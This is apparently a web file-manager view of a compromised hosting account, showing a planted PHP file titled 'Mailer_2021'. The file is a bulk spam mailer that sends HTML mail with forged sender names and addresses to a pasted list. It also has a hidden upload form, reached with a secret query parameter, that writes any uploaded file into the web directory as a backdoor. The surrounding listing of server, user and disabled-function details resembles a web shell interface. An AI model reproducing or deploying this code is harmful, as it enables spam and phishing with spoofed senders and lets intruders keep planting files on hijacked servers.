HEX
Server: LiteSpeed
System: Linux d8 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: wbwebdes (3015)
PHP: 8.1.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/wbwebdes/domains/keo.wb-cloud.nl/private_html/8427f5/surfinal.php
<?php
@set_time_limit(0);
error_reporting(0); // Evita que errores ensucien la pantalla

// 1. Inicialización de variables por defecto
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"];
$nombre  = "loko =?UTF-8?Q?=F0=9F=94=92?=";
$de      = "[email protected]";
$ellos   = "[email protected]";

// 2. Si se recibe el formulario, actualizamos variables
if(isset($_POST['Enoc'])) {
    $message = stripslashes($_POST['html']);
    $subject = $_POST['assunto'];
    $de      = $_POST['de'];
    $nombre  = $_POST['RealName'];
    $ellos   = $_POST['ellos'];
}
?>
<html>
<head><title>Mailer_2021-Piwin3tRlZ</title></head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
    <table width="534" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC"> 
        <tr>
            <td>
                <table border="0" bgcolor="#FFFFFF" width="100%">
                    <tr>
                        <td>Email: <input name="de" type="text" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
                        <td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
                    </tr>
                    <tr>
                        <td colspan="2">Asunto: <input name="assunto" type="text" style="width:100%" value="<?php echo htmlspecialchars($subject); ?>"></td>
                    </tr>
                    <tr>
                        <td>Cuerpo HTML:<br><textarea name="html" cols="40" rows="10"><?php echo htmlspecialchars($message); ?></textarea></td>
                        <td>Lista Emails:<br><textarea name="ellos" cols="30" rows="10"><?php echo htmlspecialchars($ellos); ?></textarea></td>
                    </tr>
                    <tr>
                        <td colspan="2"><center><input type="submit" name="Enoc" value="Enviar"></center></td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</form>

<?php
// --- LÓGICA DE SUBIDA DE ARCHIVOS (Solo si ?sec=yess) ---
if(isset($_GET['sec']) && $_GET['sec'] == 'yess') {
    echo '<form method="post" enctype="multipart/form-data">
            <input name="archivo" type="file" />
            <input name="action" type="hidden" value="upload" />
            <input type="submit" value="Subir" />
          </form>';
    
    if (isset($_POST["action"]) && $_POST["action"] == "upload") {
        if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $_FILES['archivo']['name'])) {
            echo "<b>Archivo subido con éxito.</b>";
        } else {
            echo "<b>Error al subir.</b>";
        }
    }
}

// --- LÓGICA DE ENVÍO DE CORREOS ---
if(isset($_POST['Enoc'])) {
    // Separar correos por salto de línea o coma
    $separador = isset($_GET['c']) ? "," : "\n";
    $emails = explode($separador, $ellos);
    $son = count($emails);
    $voy = 1;

    // Configurar Headers
    $header = "MIME-Version: 1.0\r\n";
    $header .= "Content-type: text/html; charset=iso-8859-1\r\n";
    $header .= "From: ".$nombre." <".$de.">\r\n";
    $header .= "Reply-To: ".$de."\r\n";
    $header .= "X-Mailer: PHP/" . phpversion() . "\r\n";

    foreach($emails as $mail) {
        $mail = trim($mail);
        if(empty($mail)) continue;

        // Reemplazar tag %email% si existe en el mensaje
        $message_send = str_replace('%email%', $mail, $message);

        // Control de pausa (si se pasan parámetros por URL como ?time=2&cant=10)
        if(isset($_GET['time']) && isset($_GET['cant'])) {
            if($voy % $_GET['cant'] == 0 && $voy > 1) {
                echo "Esperando " . $_GET['time'] . " segundos...<br>";
                flush();
                sleep((int)$_GET['time']);
            }
        }

        if(@mail($mail, $subject, $message_send, $header)) {
            echo "<font color=blue>{$voy} de {$son} | Enviado a: {$mail}</font><br>";
        } else {
            echo "<font color=red>{$voy} de {$son} | Error en: {$mail}</font><br>";
        }
        
        flush(); // Forzar salida en pantalla mientras envía
        $voy++;
    }
    echo "<script>alert('--- Proceso terminado ---');</script>";
}
?>
</center>
</body>
</html>